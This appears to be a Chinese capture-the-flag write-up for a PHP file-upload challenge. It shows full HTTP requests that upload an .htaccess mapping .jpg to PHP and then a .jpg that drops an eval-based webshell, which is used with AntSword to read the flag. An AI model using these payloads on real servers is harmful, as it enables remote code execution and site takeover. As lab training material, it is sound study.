題目連結:https://buuoj.cn/challenges#[MRCTF2020]你傳你🐎呢
開啟環境後如下所示。
可以看到,這是一道檔案上傳題,直接對可上傳的檔案型別進行 fuzzing。
透過 fuzzing 發現,可以上傳 .jpg、.html、.htaccess 檔案,PHP 相關的檔案均無法上傳。
因此,可以選擇上傳 .htaccess 檔案,讓後端將所有 .jpg 檔案都當作 PHP 檔案進行處理。
POST /upload.php HTTP/1.1
Host: ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81
Content-Length: 364
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2v4xskXML68xrlTI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eb6b066786f6c525d25fa39c406a4e7b
Connection: keep-alive
------WebKitFormBoundary2v4xskXML68xrlTI
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png
<IfModule mime_module>
AddType application/x-httpd-php .jpg
</IfModule>
------WebKitFormBoundary2v4xskXML68xrlTI
Content-Disposition: form-data; name="submit"
一鍵去世
------WebKitFormBoundary2v4xskXML68xrlTI--
隨後,上傳一個寫入 PHP Webshell 的 jpg 檔案,讓使用者訪問該 jpg 檔案時,就生成 shell.php 檔案。
POST /upload.php HTTP/1.1
Host: ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81
Content-Length: 360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2v4xskXML68xrlTI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ef0c8be9-fc2c-42a1-a906-f93b2c596bcb.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eb6b066786f6c525d25fa39c406a4e7b
Connection: keep-alive
------WebKitFormBoundary2v4xskXML68xrlTI
Content-Disposition: form-data; name="uploaded"; filename="1.jpg"
Content-Type: image/png
<?php fputs(fopen("./shell.php", "w"), '<?php @eval($_POST[cmd]) ?>'); ?>
------WebKitFormBoundary2v4xskXML68xrlTI
Content-Disposition: form-data; name="submit"
一鍵去世
------WebKitFormBoundary2v4xskXML68xrlTI--
隨後,使用 AntSword 進行連線,但是不知為什麼,無法使用終端模式,但可以進行檔案管理。在根目錄即可找到 flag 檔案。